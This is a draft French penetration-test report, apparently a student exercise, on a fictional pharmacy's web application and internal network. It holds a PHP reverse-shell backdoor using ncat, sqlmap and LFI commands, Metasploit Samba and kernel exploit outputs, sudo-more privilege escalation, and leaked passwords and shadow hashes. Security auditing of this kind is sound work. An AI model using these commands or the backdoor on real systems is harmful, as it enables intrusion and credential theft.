TODO liste :
- [ ] mettre les vulns en risque critique en priorité élevée (peu importe les autres critères)
<p>
<br>
</p>
<h1 style="text-align: center"> Raport d'audit GoldPharma </h1>
<div style="text-align: center"><small>Compte-rendu — 2019</small></div>
<p>
<br>
</p>
___
<p style="text-align: right">
<br>
Élève<br>
Élève<br>
Élève<br>
Élève<br>
Élève<br>
</p>
---
<p style="text-align: right; font-style: italic"> On n'est pas des khedem mais t'inquiète on bosse,<br> j'fais rentrer sur la tête des gosses<br>
Au DD comme Ademo et N.O.S, <br>
conduite agressive et féroce<br>
OG, OG, trouve-moi dans l'Lamborghini ou Rolls<br>
Sur le bout du goro ton gloss, <br>
j'fais rentrer sur la tête des gosses<br>
</p>
# Table des matières
[toc]
# 1. Contexte
## 1.1 Cadre de la mission
L'entreprise cliente *Goldpharma* a mandaté le prestataire *CyberBug 2007* pour effectuer un audit en boite noire du système d’information. La présente mission ne rentre pas dans le cadre d'une quelconque certification.
Le système étant en production, il doit impérativement rester fonctionnel et ne pas voir sa sécurité affaiblie. Si jamais il s'avérait que cette dernière devait être revue à la baisse, le client requiert que cela soit pour une durée la plus courte possible et que l'événement apparaisse dans le présent rapport.
## 1.2 Périmètre de l'audit
Dans le cadre de cet audit où la confidentialité des clients de **Goldpharma** doit être protégée, *CyberBug 2007* se basera sur un périmètre externe en boîte noire (aucune information fournie mise à part l’URL du site web) dont le point d'entrée est l'url suivante :
http://ppti-msi-6.ufr-info-p6.jussieu.fr
Tout le réseau en amont de l’adresse du serveur désigné (132.227.89.28) est en dehors du périmètre d’investigation.
Compte tenu de la situation sanitaire les tests seront menés en majorité à distance depuis le domicile de chaque membre de l'équipe. Cependant, il est nous a été amené à opérer exceptionnellement depuis une salle réservée au sein de nos locaux.
**spécifier la date**
## 1.2 Présentation de l'entreprise audité
L'entreprise *GoldPharma* a mandaté *CyberBug 2007* pour un audit en boîte noire de son système d'information. La priorité première de l’entreprise est la confidentialité de ses clients en raison du domaine d'activité de celle-ci.
## 1.3 Présentation de l'entreprise chargé de l'audit
*CyberBug 2007* est une entreprise qui propose un savoir faire dans le domaine de la cybersécurité, en particulier dans le domaine de l’audit des systèmes d’informations et des tests d'intrusion. Notre entreprise offrira à notre client, **GoldPharma**, une expertise d’audit reconnue et considérée comme étant l’état de l’art. Basée en France et accordant une importance particulière à la protection européenne des données, *CyberBug 2007* a également joué un rôle important dans la mise en place du RGPD en discutant avec les différents organismes étatiques afin de promouvoir une protection des données européennes et garantir la pérennité des entreprises françaises.
## 1.4 Présentation de l'équipe
- Anime Ait Kaci : pentester, spécialiste en vulnérabilités web, dictateur
- Dhiya Babaali : CEO, rédacteur en chef, gestion des Sprints
- Nassim Messaoudi : pentester, spécialiste en élévations de privilèges
- Mahafaly R. : rédaction des vulnérabilités
- Manuel Ferrara : rédacteur, mise en forme du rapport d'audit, vainqueur finaliste du Rap Contenders 2017, la poutre de Bamako française
## 1.5 Outils utilisés
- Netcat
- Metasploit
- Sshuttle
- Sqlmap
- Owasp ZAP
- Gobuster/Wfuzz
-
## 1.6 Confidentialité du document
Nous nous engageons à conserver secrètes toutes informations concernant l'entreprise Goldpharma présentes sur ce rapport ou non. Nous assurons la mise en place de mesures techniques, logistiques et physiques afin de préserver la sécurité, l’intégrité et la confidentialité des données marquées sur ce rapport et notamment les protéger contre toute destruction fortuite ou illicite, perte fortuite, altération, divulgation ou accès non autorisé, et contre toute autre forme illicite de traitement.
La divulgation de ces informations est envisageable dans les hypothèses suivantes : si une disposition législative, réglementaire ou une décision d’une autorité administrative prise en application d’une telle disposition ou si une décision rendue par une juridiction l’exige ; si l’information confidentielle en cause est nécessaire à l’exécution par des obligations au titre des présentes, à condition que le tiers récipiendaire de l’information soit lui-même légalement tenu à une obligation de confidentialité équivalente aux présentes; ou si l'entreprise Cyberbug 2007 est expressément dégagée de son obligation de confidentialité par l'entreprise Goldpharma.
## 2 Référentiel de notation
Pour l'audit des applications web, *CyberBug 2007* utilisera la version 3.0 de l'OWASP.
La méthodologie OWASP est utilisé comme guide et la liste (non exhaustive) suivante rassemble les domaines des vulnérabilités:
* SQL injection
* Cross Site Scripting (XSS)
* Mauvaise gestion des URL
* Cross Site Request Forgery (CSRF)
* Fuite d'information et mauvaise gestion des messages d'erreur
* Mauvaise authentification et management de session
* Communication non sécurisée
* ...
Cette méthode regroupe des tests aussi bien automatisés que manuels.
La première étape consiste en une récolte d’informations. Ensuite ont lieu plusieurs tests qui visent à évaluer la robustesse du service.
### 2.1 Légende : Difficulté d'exploitation

### 2.2 Légende : Impact

Le niveau de risque est calculé en utilisant la matrice suivante:
(I = Impact, E = Difficulté d'Exploitation)

### Plan d'action
Tout correctif de vulnérabilités a été classifié par priorité. Cette priorité peut être mesurée en utilisant la formule suivante:
Priorité = Risque * Difficulté de mise en place
Le risque a précédemment été mesuré en prenant en compte le niveau d'effort nécessaire pour corriger une vulnérabilité. Cet effort peut être mesuré à l'aide de ce tableau:

La priorité est ensuite calculée en utilisant la matrice suivante:(R = Niveau du Risque, P = Difficulté de mise en Place):

# 3 Cartographie

# 4 Récit d'exploitation
# 5 Détail des vulnérabilités
## 5.1 Parti Goldpharma
### 5.1.1 Communication non chiffrée
#### Description :
À mettre en annexe (Guide de l'OWASP : [lien](https://owasp.org/www-community/vulnerabilities/Insecure_Transport).)
Sur un site n'utilisant pas le chiffrement SSL/TLS un attaquant peut par exemple usurper l'identité de **Goldpharma** ou bien récupéer des données sensibles transitant telles que des mots de passe, des codes de carte bancaire, etc.
#### Exploitation :
Tout d'abord on remarque tout de suite avec le navigateur que aucun certificat n'est utilisé.
Pour bien illustrer le problème nous pouvons voir ce qui se passe quand nous nous connectons au site.
Voici donc l'information qui transite sur le réseau en entrant le login et le mot de passe :

les champs `mail` et `pass` sont en clair. Si l'utilisateur saisit ces informations en utilisant un WIFI public ou si un attaquant se trouve déjà au milieu de l'échange (attaque *Man In The Middle*), il peut sans difficulté intercepter et réutiliser ces données sensibles.
#### Conclusion :
La manipulation d'un site web sans chiffrement est une cible facile pour un attaquant, il est donc important de se mettre à jour la dessus pour éviter toute fuite de données.


#### Remédiation :
Mise en place d'une couche de chiffrement comme SSL ou TLS
### 5.1.2 Cross-site scripting (XSS)
#### Description :
Ce type d'attaque va permettre à l'attaquant d'éxécuter du code JavaScript malicieux dans le navigateur des utilisateurs victimes.
Cette injection de script malicieux va permettre à un attaquant de créer un lien malveillant dans le but de faire éxecuter des actions à l'insu de l'utilisateur,ou de modifier l'aspect d'une page WEB dans le but de piéger l'utilisateur.
Le rectangle servant à l'écriture d'un message au support est vulnérable à une telle faille.
#### Exploitation :
Entrer dans le cadre prévu pour le message le message suivant pour révéler la vulnérabilité : `"/<script>alert("TEST");</td>script>"`

En appuyant sur *preview* cela révèle que le script a bien été pris en compte et qu'il est affiché.

#### Conclusion :
Cette injection peut permettre à un attaquant de créer un lien malicieux qui peut par exemple récupérer des informations sensibles de la victime.


#### Remédiation :
Encoder/Échapper les caractères des entrées non fiables de l'utilisateur. Si elles existent, utiliser des méthodes déjà implémentées par le langage, les bibliothèques associées ou les *frameworks*. En dernier recours : implémenter une solution personnelle.
### 5.1.3 basence de politique de mots de passes
#### Description :
Aucune politique de sécurité des mots de passe n'a été implémentée : il est possible de saisir un mot de passe ne présentant aucune sécurité (exemple : mot de passe à un seul caractère tel que "a").
#### Exploitation :
Notré équipe a été capable de créer plusieurs comptes ayant comme mot passe un simple chiffre ou une simple lettre.
#### Conclusion :
Autoriser un utilisateur à avoir un mot de passe peu complexe peut permettre à un attaquant de le retrouver en le devinant ou en utilisant une attaque par dictionnaire (*bruteforce*).


#### Remédiation:
Endurcir la politique des mots de passe à la création de compte, obligeant chaque utilisateur à respecter certain critères tel que :
- Doit contenir :
- au moins une majuscule
- au moins une minuscule
- au moins un caractère spécial
- au moins un chiffre
- L'ANSSI recommande une **longueur minimale de 12 caractères**
### 5.1.4 Requêtes `GET` pour ajouter les articles au panier
#### Description :
Les requêtes GET doivent être utilisées dans le but d'afficher les éléments d'une page web ou si des données ont beson d'être mises en cache.
Cependant, ici l'ajout d'articles au panier se fait via des requêtes `GET` et non `POST`. Les variables sont visibles dans l'URL et ce dernier peut être exploité pour une automatisation d'injection SQL. Cela facilite également le DDOS et limite le nombre de variables passées dans l'URL en paramètres (exemple : il ne serait pas possible d'ajouter au panier de nombreux articles différents).
#### Exploitation :
Par exemple en ajoutant un article dans son panier nous pouvons voir la requête GET en question : `http://IP_GOLDPHARMA/?page=cart&art=Cialis`

#### Conclusion :
Une telle utilisation de requêtes `GET` est considérée comme une mauvaise pratique. Un attaquant peut s'en servir pour récupérer des informations ou pour attaquer de manière active à l'aide d'injections SQL (via `sqlmap` notemment).


#### Remédiation :
Privilégier l'utilisation des requêtes `POST`.
~~### 5.1.5 Possibilité d'enregistrer de nouveaux utilisateurs avec des droits administrateurs ?~~
#### Description :
#### Exploitation :
#### Conclusion :
| Risque |
|:---------------------------:|
| Difficulté d'exploitation : |
| Impact : |
| **Risque** : |
| Priorité de correction |
|:---------------------------:|
| Risque : |
| Difficulté de mise en place : |
| **Priorité** : |
#### Remédiation
### 5.1.6 Injections SQL sur le paramètre `id`
#### Description :
Le paramètre `id` a été testé manuellement contre la vulnérabilité aux injections SQL. Il s'avère que ce paramètre est vulnérable dans l'URL `http://176.31.251.122:3480/?page=admin&action=edit_acc&id=0`.
#### Exploitation :
Utilisation de `SQLMap`. Commande `SQLMap` utilisée :
```bash=
sqlmap -u http://176.31.251.122:3480/\?page\=admin\&action\=edit_acc\&id\=0 --cookie="auth=a%253A3%253A%257Bs%253A2%253A%2522id%2522%253Bs%253A2%253A%252268%2522%253Bs%253A5%253A%2522admin%2522%253Bs%253A1%253A%25221%2522%253Bs%253A4%253A%2522cart%2522%253Ba%253A0%253A%257B%257D%257D;cookie_test=1580178804;mac=dadfca65c4579d15a5d4fe66b42b525547607d5c;PHPSESSID=5cb5f19d790d79fda390cde9bc64121b"
```
Les paramètres `--dbs`, `--tables` et `--dumps` ont également été utilisés
À ce point, **toutes les tables** ont pu être **listées** et il a été également possible de réaliser un *dump* de toutes les données de la base de données. <!-- VÉRIFIER SI EN CLAIR POUR RGPD --> N'importe quel fichier arbitraire peut également être lu sur la base de données en utilisant l'option `--file-read` avec `sqlmap`. Le fichier `config.php` a donc pu être lu pour obtenir les identifiants du compte `phpmyadmin`.
Affichage de message indiquant la vulnérabilité sur le paramètre `id` :

Résultats du *dump* de la base de données (tout n'a pas été affiché) :



Résultat du *listing* des tables :



Affichage de la version de la base de données :

#### Conclusion :

| Priorité de correction |
|:---------------------------:|
| Risque : Critique |
| Difficulté de mise en place : Triviale |
| **Priorité** : Critique |
#### Remédiation :
Suivre les recommandations de l'OWASP ([lien](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)), notamment si possible, favoriser l'utilisation de méthodes déjà pré-existantes pour préparer les requêtes plutôt que d'implémenter une solution personnalisée..
### 5.1.7 Enumération des répertoires
#### Description :
L'énumération de répértoires est une fonctionalité du serveur web qui permet d'afficher la liste de tous les fichiers dans un certain répertoire du site web.
Il est notamment possible d'accéder aux dossiers tels que `/images/`, `uploads/` ou `inc/` et ainsi afficher toutes les fichiers dans ces répertoires. Cela n'est pas un bonne pratique : un utilisateur ne devrait pas pouvoir afficher le contenu d'un dossier.
#### Exploitation :
Nous avons découvert que cette fonctionalité est active sur ce serveur web, ce qui va afficher les différents dossiers/fichiers présents dans les répertoires , divulguant ainsi une partie de la structure de l'application.

Cette mauvaise pratique a notamment permis de découvrir le script `utils.php~` qui peut être téléchargé et lu.
Cette exposition va aussi permettre de mettre en évidence les dates des dernières modifications des fichiers et les technologies utilisées.
#### Conclusion :
Outre le fait que cette vulnérabilité va permettre à un attaquant d'en apprendre davantage sur la structure de l'application et sur les technologies utilisées, cette exposition va également offrir la possibilité à l'attaquant de découvrir des fichiers sensibles comme du code source.


### 5.1.8 Accès à utils.php
#### Description :
Une partie du code source du site **GoldPharma** est disponible dans `/inc/utils.php~`. C'est un fichier de *backup* (sauvegarde) souvent créé par un éditeur de texte lors de l'édition.
#### Exploitation :
A l'aide de l'énumération des répertoires nous avons pu remarqué que dans le sous-répertoire */inc* nous trouvons le fichier utils.php~ qui peut nous donner de nombreuses informations.
#### Conclusion :
L'accés à un tel fichier peut permettre à un attaquant de comprendre le fonctionnement d'une infrastructure en l'occurence ici des informations sur la gestion des cookies d'authentifications sont présentes.


#### Remédiation
Selon l'éditeur de texte, il est possible de désactiver le système de backup en le spécifiant dans le fichier de configuration
### 5.1.9 Algorithme personnalisé d'identification de l'administrateur
#### Description :
L'identification de l'administrateur se fait au moyen d'une solution personnalisée et dont le fonctionnement est facilement identifiable. L'implémentation d'une solution personnalisée au détriment d'un fonctionnement open source testé et reconnu est considérée comme étant une mauvaise pratique.`Le répertoire `/inc` contient une sauvegarde (*backup*) du fichier `utils.php`, ce qui permet de retrouver le code source de cette page (`utils.php~`) :
```php=
<?php
function bbcode($msg) { /* Only [img] for now */
$texte = preg_replace('~\[img](.*?)\[/img\]~s','<img src="$1">',$msg);
$texte = htmlspecialchars_decode($texte,ENT_QUOTES);
return $texte;
}
/*
if(testCookie()) {
// We could store others things in the future so we split with \n
$tmp_array = explode("\n",urldecode($_COOKIE['auth']));
for ($i = 0; $i < count($tmp_array); $i++)
$cookie=unserialize($tmp_array[$i]); // Todo an array
}
*/
function testCookie() {
if (isset($_COOKIE['auth']) && isset($_COOKIE['mac'])) {
$hash = sha1(SECRET.urldecode($_COOKIE['auth']));
if($hash === $_COOKIE['mac'])
return true;
}
return false;
}
function randStr($len) {
$charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$charsetLen=strlen($charset) - 1;
$random = array();
for($i = 0;$i < $len;$i++)
$random[$i] = $charset[mt_rand(0,$charsetLen)];
return implode($random);
?>
```
#### Exploitation :
Comprendre comment la vérification du cookie administrateur est réalisée permet de s'authentifier en tant qu'administrateur (usurpation d'identité).
#### Conclusion :
| Risque |
|:---------------------------:|
| Difficulté d'exploitation : |
| Impact : |
| **Risque** : |
| Priorité de correction |
|:---------------------------:|
| Risque : |
| Difficulté de mise en place : |
| **Priorité** : |
#### Remédiation :
### 5.1.10 Accès à `phpMyAdmin` non restreint
Description :
Il est possible d'accéder à l'interface de connexion de phpMyAdmin `phpmyadmin/` depuis n'importe qu'elle adresse IP. Une bonne pratique serait d'empêcher d'utiliser une whitelist d'adresses IP pouvant accéder au panneau graphique de phpMyAdmin.
Exploitation :
Conclusion :
| Risque |
|:---------------------------:|
| Difficulté d'exploitation : |
| Impact : |
| **Risque** : |
| Priorité de correction |
|:---------------------------:|
| Risque : |
| Difficulté de mise en place : |
| **Priorité** : |
### 5.1.11 Mauvaise configuration de NGINX
#### Description :
NGINX est un logiciel libre de serveur web, une faille dessus entraine donc un risque pour la pérénnité d'un site web.
#### Exploitation :
En essayant d'exploiter l'application avec un reverse shell, cela a provoqué un arrêt du serveur NGINX. Apres une durée d'environ 1 minute il n'y a plus de réponse : cela est du à une mauvaise configuration.
#### Conclusion :
Une telle configuration peut permettre à un attaquant de faire une DoS attaque (Denial of Service) et rendre ainsi indisponible le service web.


#### Remédiation :
Mettre à jour NGINX est une solution pour cette mauvaise configuration.
### 5.1.12 Mauvaise gestion des permissions utilisateurs et élévation de privilèges
Description :
L'étape suivante consiste à écrire du code `php` pour se connecter à une machine de la PPTI et ainsi obtenir un *shell* en tant que `www-admin` sur la machine **Goldpharma** grâce au code ci-dessous :
```php
<?php
if(!isset($_GET["passwd"]) || $_GET["passwd"] !== "msi2020" || !isset($_GET["IP"]) ||
!isset($_GET["PORT"]))
die("die");
exec("ncat ".$_GET["IP"]." ".$_GET["PORT"]." -e /bin/bash > /dev/null 2>&1 &");
?>
```
Exploitation :
Utiliser un netcat *listener* pour récupérer un *shell* en tant qu'utilisateur *www-admin* .
Cet utilisateur peut **lire** la **clé privée** *admin* et la **copier** dans `/tmp` pour s'y **connecter** en tant qu'*admin*.
Cela ne devrait pas être possible.
Conclusion :
| Risque |
|:---------------------------:|
| Difficulté d'exploitation : |
| Impact : |
| **Risque** : |
| Priorité de correction |
|:---------------------------:|
| Risque : |
| Difficulté de mise en place : |
| **Priorité** : |
### 5.1.13 Versions trop ancienne de certains services
#### Description :
L'obsolescence de certaines applications peut être jugé par certaines entreprises comme étant peu critique dans un systéme d'information. Il ne faut pas sous estimer les attaquants qui se tiennent au courant de ces faiblesses et n'hésiteront pas à les utiliser.
#### Exploitation :
Aprés avoir eu un shell sur le frontend nous avons pu aller vérifier le status de bons nombres de services ainsi que leurs versions actuelles.
| Service | Version |
|:-------:|:------------------------------------:|
| ssh |  |
| nginx |  |
| mysql |  |
| rsyslog |  |
#### Conclusion :
Tout ces services corrigent de nombreuses failles en sortant de nouvelles versions il est donc important de suivre ces sorties.


#### Remédiation:
Il suffit de mettre à jour ces services.
### 5.1.14 Droits des comptes administrateurs
#### Description:
Les comptes administrateurs doivent evidemment avoir plus de droits qu'un compte simple utilisateur, cependant il ne faut pas que ces droits puissent mené à une fuite de données.
#### Exploitation:
Aprés avoir exploité la vulnérabilité des cookies nous avons pu élever les priviléges de notre compte et ainsi avoir eu accés à un compte administrateur.
On trouve donc que l'on peut afficher les comptes et les tickets:

On regarde donc la liste des comptes et on remarque qu'il y a une foncionalité de modification des comptes.


On peut donc avoir les adresses mail, les noms et les prenoms des utilisateurs du site.
En allant sur Edit on tombe la dessus:

On trouve donc qu'un administrateur à la possibilité de modifier le mot de passe d'un utilisateur ainsi que son nom et son prénom. Il peut aussi rendre cet utilisateur administrateur. Nous pouvons aussi avoir qu'une partie du numéro de carte bancare est visible.
Comme nous avon réussi à obtenir un compte administrateur, nous pouvons supposer qu'un attaquant mal intentionné peut y arriver aussi, les possibilités du compte administrateur sont donc un risque impliquant une fuite de donnée.
#### Conclusion:
Etant donné la possibilité d'élever ses priviléges sur ce site il est nécéssaire d'appliquer une autre couche de sécurité pour les modifications que peut opérer un administrateur.


#### Remédiation:
### 5.1.15 Absence de header dans les requêtes web
#### Description:
La balise iframe est une balise permettant d'afficher sur une page web le contenu d'une autre page. L'utilisation d'iframe est une pratique courante mais ces balises peuvent être utilisées pour de mauvaises intentions et devenir ainsi un vecteur d'attaques. En effet, il est possible pour un pirate d'embarquer une page web dans un iframe et d'en modifier le comportement... Il pourra ainsi duper l'internaute et récupérer des identifiants et mots de passe par exemple.
#### Exploitation:
Nous avons remarqué que les requêtes web ne possédent pas de header ou de X-Frame-Options, comme on peut le voir ci dessous :
```php
GET / HTTP/1.1
Host: 176.31.251.122:8080
Accept-Encoding: gzip, deflate
Accept: * / *
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: auditor
Connection: close
Cache-Control: max-age=0
```
#### Conclusion:
Pour empêcher efficacement les attaques de détournement de clic, l'application doit renvoyer un en-tête de réponse où le champ X-Frame-Options a la valeur DENY.


#### Remédiation:
La mise en place de cet en-tête X-FRAME-OPTIONS est une opération relativement facile à mettre en oeuvre nous vous consseillons donc de le faire.
### 5.1.16 Fuite du mot de passe suite à une erreur humaine
#### Description:
L'humain peut être l'ultime faille d'un systéme d'information. Une étude réalisée par The Economist Intelligence Unit montre qu'une entreprise est principalement, à 85%, menacée par des vulnérabilités humaine.
#### Exploitation:
En fouillant dans le bash_history nous avons tout simplement découvert l'écriture du mot de passe admin du frontend écrit en clair.
Un administrateur a du l'écrire en pensant le faire dans un champs sécurisé et a à appuyé sur entrée:
```bash
568Tynu,ioq_cE(87V09NUNUJI
```
#### Conclusion:
Pour faire face à ce risque humain, il est décisif pour les entreprises de se doter de stratégies sécuritaires orientées vers les êtres humains. Pour ce faire, il convient avant toute chose d’identifier les principales cibles des hackers et de former les salariés aux bonnes pratiques.


## Partie Gateway
- réutilisation de clef SSH
-
## Partie PFsense
### 5.3.1 Mot de passe faible
#### Description:
Nous avons pu deviner le mot de passe requis pour accéder au PF Sense. Un mot de passe faible est court, commun, une valeur par défaut du système ou quelque chose qui pourrait être rapidement trouvé en exécutant une attaque par force brute en utilisant un dictionnaire.
#### Exploitation:
Dnas notre cas nous avons rapidement essayé quelques mots de passe simples et nous sommes tombés sur le bon.
Le couple nom d'utilisateur/mot de passe était : *user/user*
#### Conclusion:
Cette vulnérabilité ne demandera pas beaucoup d'effort de la part d'un attaquant et pourtant elle peut lui permettre de fortement au nuire au SI qu'il menace.


#### Remédiation:
Appliquez une politique de mot de passe forte.Ne pas autoriser les mots de passe faibles ou les mots de passe basés sur des mots du dictionnaire.
## Partie dernières machines
## .100 Nas
### 5.4.1 Version de Samba vulnérable
#### Description:
CVE: CVE-2017-7494
Samba depuis la version 3.5.0 et avant 4.6.4, 4.5.10 et 4.4.14 est vulnérable à la vulnérabilité d'exécution de code à distance, permettant à un attaquant malveillant de télécharger un code arbitraire sur un share ou l'on peut écrire, puis de provoquer le chargement et l'exécution de cette librairie par le serveur.
#### Exploitation:
La version de Samba sur la machine 172.18.0.100 est la version 3.6.6 elle est donc vulnérable.
Nous avons donc directement utilisé metasploit pour lancer l'exploit *is_known_pipename* sur la machine cible.
Aprés quelques secondes nous sommes root sur le NAS.
```shell
msf6 exploit(linux/samba/is_known_pipename) > run
[*] 192.168.0.100:445 - Using location \\192.168.0.100\guest\ for the path
[*] 192.168.0.100:445 - Retrieving the remote path of the share 'guest'
[*] 192.168.0.100:445 - Share 'guest' has server-side path '/media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/
[*] 192.168.0.100:445 - Uploaded payload to \\192.168.0.100\guest\oqmTBeUM.so
[*] 192.168.0.100:445 - Loading the payload from server-side path /media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/oqmTBeUM.so using \\PIPE\/media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/oqmTBeUM.so...
[+] 192.168.0.100:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 5 opened (172.16.0.50:40882 -> 192.168.0.100:445) at 2021-05-11 02:41:35 +0200
whoami
root
```
#### Conclusion:
Encore une fois une version obsolète d'un service permet la main mise sur toute une machine.


#### Remédiation
Il faut mettre à jour la version de Samba et s'assurer que celle ci n'est toujours pas vulnérable.
### Wildcard tar vuln
pour etre admin dans le nas
### 5.4.2 Dirty-COW
#### Description:
CVE: CVE-2016-5195
Dirty COW (copy-on-write) est une vulnérabilité de sécurité du noyau Linux qui affecte tous les systèmes d'exploitation Linux. C'est un défaut d'élévation de privilège qui exploite une condition de concurrence dans la mise en œuvre de la copie sur écriture dans le noyau de gestion de la mémoire.
#### Exploitation:
Nous avons donc découvert que la version du kernel Linux est bien vulnérable:
```shell
admin@nas:~$ uname -a
Linux nas 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u2 x86_64 GNU/Linux
```
Nous avons ici une version 3.2.0 elle se trouve bien entre les version 2.x et 4.x qui sont vulnérables.
Nous avons téléchargé l'exploit que vous trouverez en annexe. Puis nous l'avons lancé et nous nous retrouvons bien root sur le NAS.
#### Conclusion:
L'obsolescence d'un serveur connu comme vulnérable représente un grand risque pour un systéme d'information.


#### Remédiation:
Assurez-vous de mettre à jour vos serveurs Linux pour rester protégé contre ce cette faille d'escalade de privilèges.
## .200 intranet
### 5.5.1 Enumération de répértoire
#### Description:
L'énumération de répertoires est une fonctionalité du serveur web qui permet d'afficher la liste de tous les fichiers dans un certain répertoire du site web.
Cela n'est pas un bonne pratique, un utilisateur ne devrait pas pouvoir afficher le contenu d'un dossier.
#### Exploitation:
A partir de la machine frontend nous avons lancé un scan nmap sur la machine 192.168.0.200:
```shell
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-git:
| 192.168.0.200:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Initial commit
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Goldpharma Intranet
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.13
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Nous en savons plus sur les ports ouverts, les services disponibles et leur version. Mais ce scan a aussi découvert un répertoire atteignable depuis le site web directement, le répertoire /.git.
#### Conclusion:
### 5.5.2 credentials dispo dans /git
```bash
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[credential]
helper = store --file /home/user/.git-credentials
```
### 5.5.3 Local file inclusion
#### Outil :
* gitdumper
dump du code source vuln dans un else
```shell
python3 git_dumper.py http://176.31.251.122:8080/.git ~/pentest/intranet/site/
```
afficher le git-credentials
```shell
curl http://176.31.251.122:8080/index.php?page=/home/user/.git-credentials
```
contenu de /home/user/.git-credentials :
```shell
https://user:F579ipujhiF5T6yDZQv_jo@127.0.0.1
```
### 5.5.4 droit root sur /bin/more pour un compte user
#### Description :
Mauvaise configuration permettant à l'utilisateur `user` d'accéder en lecture à tous les fichiers de la machine.
#### Exploitation :
En listant les commandes que l'utilisateur peut lancer en tant que `root`, on y retrouve `/bin/more` :
```shell
user@intranet:~$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on intranet.goldpharma.lan:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User user may run the following commands on intranet.goldpharma.lan:
(root) /bin/more
```
Il est alors très aisé pour l'utilisateur `user` d'accéder en lecture à des fichiers sensibles. Ici, par exemple, `/etc/shadow` :
```shell
user@intranet:~$ sudo more /etc/shadow
root:$6$HUyeJX/8$WPN.Ut141U3ivRf186obbp1Ri/PL7zyeaW1z4o..rQc5iWYySYPAifCZq3z/sWV
Hx/1cKiqEWsyYXxRhzFTsH/:17604:0:99999:7:::
daemon:*:17604:0:99999:7:::
bin:*:17604:0:99999:7:::
sys:*:17604:0:99999:7:::
sync:*:17604:0:99999:7:::
games:*:17604:0:99999:7:::
man:*:17604:0:99999:7:::
lp:*:17604:0:99999:7:::
mail:*:17604:0:99999:7:::
news:*:17604:0:99999:7:::
uucp:*:17604:0:99999:7:::
proxy:*:17604:0:99999:7:::
www-data:*:17604:0:99999:7:::
backup:*:17604:0:99999:7:::
list:*:17604:0:99999:7:::
irc:*:17604:0:99999:7:::
gnats:*:17604:0:99999:7:::
nobody:*:17604:0:99999:7:::
systemd-timesync:*:17604:0:99999:7:::
systemd-network:*:17604:0:99999:7:::
systemd-resolve:*:17604:0:99999:7:::
systemd-bus-proxy:*:17604:0:99999:7:::
_apt:*:17604:0:99999:7:::
messagebus:*:17604:0:99999:7:::
sshd:*:17604:0:99999:7:::
user:$6$sTcPwno5$SMoljvkK573LCIZFEpMBpaaQJM3VRT9dZ7RLJ.fvjg0wMXJddPxK1rdnU42Vf8w
/TxFIMFT8LDH7OkfEfIsl20:17604:0:99999:7:::
```
#### Conclusion :
| Risque |
|:---------------------------:|
| Difficulté d'exploitation : Triviale |
| Impact : Critique |
| **Risque** : Critique |
| Priorité de correction |
|:---------------------------:|
| Risque : Critique|
| Difficulté de mise en place : Faible |
| **Priorité** : Urgente |
#### Remédiation :
### 5.5.5 [CVE-2017-16995] eBPF_verifier
#### Description :
#### Exploitation :
#### Conclusion :
#### Remédiation :
```shell
user@intranet:~$ ./exp1
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff95da76ab9600
[*] Leaking sock struct from ffff95dab9a25000
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff95dab7ad46c0
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff95dab7ad46c0
[*] credentials patched, launching shell...
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)
# /bin/bash -p
root@intranet:~#
```
### 5.5.6 Élévation de privilèges avec more
#### Description :
#### Exploitation :
#### Conclusion :
#### Remédiation :
```shell
user@intranet:~$ TERM= sudo more /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "`id -u`" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the default PS1.
# PS1='\h:\w\$ '
if [ -f /etc/bash.bashrc ]; then
. /etc/bash.bashrc
fi
else
if [ "`id -u`" -eq 0 ]; then
PS1='# '
else
PS1='$ '
fi
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
```
# 6 Stratégie de remédiations
# 7 Synthèse des vulnérabilités
# 8 Annexes
- Les communications sont **non chiffrées** sur le site (**http** au lieu de **https**). Cela est visible avec le logiciel **Burp** et permet de réaliser une attaque de type *Man in the Middle* afin d'obtenir des informations sensibles telles que le mot de passe et l'adresse email des utilisateurs :

<div style="text-align: center"><small><i>Impression écran de la capture Burp</small></i></div>
- Mauvaise configuration des répertoires, donc *fuzzing* possible pour tester la présence de répertoires.
-
## Test d'intrusion
